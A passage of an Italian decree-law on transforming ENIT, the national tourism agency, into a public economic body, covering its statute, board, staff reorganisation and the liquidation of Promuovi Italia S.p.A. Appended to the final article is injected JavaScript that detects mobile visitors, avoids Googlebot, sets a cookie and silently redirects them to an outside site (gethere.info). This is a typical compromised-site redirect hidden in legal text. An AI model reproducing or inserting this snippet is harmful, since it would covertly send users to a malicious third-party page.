enti pubblici. Fermo restando quanto  disposto  dall’art.  37,  comma

terzo, del decreto del Presidente della Repubblica 5 gennaio 1967, n.

18,  le  attivita’  riferite  a  mercati  esteri  e   le   forme   di

collaborazione  con  le  rappresentanze  diplomatiche,   gli   uffici

consolari e gli istituti italiani di cultura sono regolate da  intese

stipulate con il Ministero degli affari esteri.

4. Fino all’insediamento degli organi dell’ente  trasformato  e  al

fine di accelerare il processo di trasformazione, l’attivita’ di ENIT

prosegue nel regime  giuridico  vigente  e  le  funzioni  dell’organo

collegiale  di  amministrazione  sono  svolte   da   un   commissario

straordinario, nominato con decreto del Presidente del Consiglio  dei

ministri, su  proposta  del  Ministro  dei  beni  e  delle  attivita’

culturali e del turismo, entro il 30 giugno 2014.

5. Entro centottanta giorni dalla data di  entrata  in  vigore  del

presente decreto  si  provvede  all’approvazione  del  nuovo  statuto

dell’ENIT. Lo statuto, adottato in sede  di  prima  applicazione  dal

Commissario  di  cui  al  comma  4,  e’  approvato  con  decreto  del

Presidente del Consiglio dei ministri, su proposta del  Ministro  dei

beni e  delle  attivita’  culturali  e  del  turismo.  Il  presidente

dell’ENIT e’ nominato con decreto del  Presidente  della  Repubblica,

previa deliberazione del Consiglio  dei  ministri,  su  proposta  del

Ministro dei beni e delle attivita’ culturali e del turismo.

6. Lo statuto dell’ENIT definisce i compiti  dell’ente  nell’ambito

delle finalita’ di cui al comma 2 e prevede, tra l’altro, senza alcun

nuovo o maggiore onere per la finanza pubblica, l’istituzione  di  un

consiglio federale rappresentativo delle  agenzie  regionali  per  il

turismo e, in assenza di queste ultime, degli  uffici  amministrativi

competenti  per  il  turismo  in  ambito  regionale,   con   funzioni

progettuali e consultive nei confronti degli organi direttivi di  cui

al comma 3. I componenti del predetto consiglio non hanno diritto  ad

alcun compenso,  emolumento, indennita’ o rimborso di spese.  Lo

statuto stabilisce, altresi’, che il consiglio di amministrazione sia

composto, oltre che dal presidente dell’ENIT, da due membri  nominati

dal Ministro dei beni e delle attivita’ culturali e del  turismo,  di

cui uno su designazione della Conferenza permanente  per  i  rapporti

tra lo Stato, le regioni e  le  province  autonome  di  Trento  e  di

Bolzano,  e  l’altro    sentite  le  organizzazioni  di   categoria

maggiormente rappresentative,  nel  rispetto  della  disciplina  in

materia di inconferibilita’ e incompatibilita’ di incarichi presso le

pubbliche amministrazioni di cui  al  decreto  legislativo  8  aprile

2013, n. 39. Lo statuto provvede alla  disciplina  delle  funzioni  e

delle competenze degli organismi sopra indicati e della loro  durata,

nonche’  dell’Osservatorio  nazionale  del   turismo.   L’ENIT   puo’

avvalersi  del  patrocinio  dell’Avvocatura  dello  Stato,  ai  sensi

dell’art. 43 del testo unico approvato con regio decreto  30  ottobre

1933, n. 1611, e successive modificazioni.

7. Tramite apposita convenzione triennale, con adeguamento  annuale

per ciascun esercizio finanziario, da stipularsi tra il Ministro  dei

beni e delle attivita’ culturali e del turismo, sentita la Conferenza

permanente per i rapporti tra lo Stato,  le  regioni  e  le  province

autonome di Trento e di Bolzano,  e  il  presidente  dell’ENIT,  sono

definiti:

a) gli obiettivi specificamente attribuiti all’ENIT,  nell’ambito

della missione ad esso affidata ai sensi e  nei  termini  di  cui  ai

commi 2 e 6 del presente articolo;

b) i risultati attesi in un arco temporale determinato;

c) le modalita’ degli eventuali finanziamenti statali e regionali

da accordare all’ENIT stessa;

d) le strategie per il miglioramento dei servizi;

e) le modalita’ di verifica dei risultati di gestione;

f) le modalita’ necessarie ad assicurare al Ministero dei beni  e

delle attivita’ culturali e del turismo  la  conoscenza  dei  fattori

gestionali interni all’ENIT, tra cui l’organizzazione, i  processi  e

l’uso delle risorse;

f-bis) le procedure e gli strumenti  idonei  a  monitorare  la

reputazione dell’Italia nella rete web, nell’ambito degli  interventi

volti a migliorare l’offerta turistica nazionale.

8. Al personale dell’ENIT, come trasformato ai sensi  del  presente

articolo, continua ad  applicarsi,  fino  alla  individuazione  nello

statuto dello specifico  settore  di  contrattazione  collettiva,  il

contratto collettivo di lavoro dell’ENIT.  Entro  centottanta  giorni

dalla data di entrata in vigore del presente decreto, il  Commissario

di cui al comma 4, sentite le  organizzazioni  sindacali,  adotta  un

piano   di   riorganizzazione   del   personale,   individuando,

compatibilmente con le disponibilita’ di bilancio,  sulla  base  di

requisiti oggettivi e in considerazione dei nuovi compiti dell’ENIT e

anche della prioritaria esigenza di  migliorare  la  digitalizzazione

del  settore  turistico  e  delle  attivita’  promo-commerciali,   la

dotazione organica dell’ente come trasformato ai sensi  del  presente

articolo, nonche’ le unita’ di personale in servizio  presso  ENIT  e

Promuovi Italia S.p.A. da  assegnare  all’ENIT  come  trasformata  ai

sensi  del  presente  articolo.  Il  piano,   inoltre,   prevede   la

riorganizzazione, anche tramite soppressione, delle  sedi  estere  di

ENIT.

9. Dopo l’approvazione del piano di cui al comma 8, il personale  a

tempo  indeterminato  in  servizio  presso  ENIT  assegnato  all’ente

trasformato ai  sensi  del  presente  articolo  puo’  optare  per  la

permanenza presso quest’ultimo oppure per il passaggio  al  Ministero

dei beni e delle  attivita’  culturali  e  del  turismo  o  ad  altra

pubblica amministrazione. La Presidenza del Consiglio dei ministri —

Dipartimento della funzione pubblica  acquisisce  dall’ENIT  l’elenco

del personale interessato alla mobilita’ e del personale in  servizio

presso ENIT non assegnato  all’ENIT  stessa  dal  medesimo  piano  di

riorganizzazione di cui al comma 8,  e  provvede,  mediante  apposita

ricognizione presso le  amministrazioni  pubbliche,  a  favorirne  la

collocazione,   nei   limiti   della   dotazione    organica    delle

amministrazioni destinatarie e con  contestuale  trasferimento  delle

relative risorse. Con decreto del Ministro per la  semplificazione  e

la  pubblica   amministrazione,   di   concerto   con   il   Ministro

dell’economia e  delle  finanze,  si  provvede  all’assegnazione  del

personale presso le  amministrazioni  interessate  con  inquadramento

sulla base di apposite tabelle di  corrispondenza  approvate  con  il

medesimo   decreto.   Al   personale   trasferito,    che    mantiene

l’inquadramento  previdenziale  di   provenienza,   si   applica   il

trattamento  giuridico  ed  economico,  compreso  quello  accessorio,

previsto nei contratti  collettivi  vigenti  dell’amministrazione  di

destinazione.

10. L’art. 12 del decreto-legge 14 marzo 2005,  n.  35,  convertito

con modificazioni dalla legge 14 maggio 2005,  n.  80,  e  successive

modificazioni, e’ abrogato. Conseguentemente, entro  sessanta  giorni

dall’entrata in vigore del presente decreto, il Commissario di cui al

comma 4 pone in  liquidazione  la  societa’  Promuovi  Italia  S.p.A.

secondo le disposizioni del Codice Civile.   Il  liquidatore  della

societa’  Promuovi  Italia  S.p.a.  puo’  stipulare  accordi  con  le

societa’ Italia Lavoro S.p.a. e  Invitalia –  Agenzia  nazionale  per

l’attrazione degli investimenti e lo sviluppo  d’impresa  S.p.a.  che

prevedano  il  trasferimento  presso  queste  ultime  di  unita’   di

personale non  assegnate  all’ENIT  come  trasformato  ai  sensi  del

presente articolo, anche al fine di dare esecuzione  a  contratti  di

prestazione di servizi in essere alla data di messa  in  liquidazione

della societa’ Promuovi Italia S.p.a.

11. Tutti gli atti connessi alle operazioni  di  trasformazione  in

ente pubblico economico di ENIT e alla  liquidazione  della  societa’

Promuovi Italia S.p.A. sono esclusi da ogni tributo e diritto,  fatta

eccezione per l’IVA, e vengono effettuati in  regime  di  neutralita’

fiscale.

12. Dall’attuazione del presente articolo   non  devono  derivare

nuovi o maggiori oneri per la finanza pubblica.

 

(Omissis).

 

Titolo IV

NORME FINANZIARIE ED ENTRATA IN VIGORE

 

(Omissis).

 

Art. 18

Entrata in vigore

 

1. Il presente decreto entra  in  vigore  il  giorno  successivo  a

quello  della  sua  pubblicazione  nella  Gazzetta  Ufficiale   della

Repubblica italiana e sara’ presentato alle Camere per la conversione

in legge.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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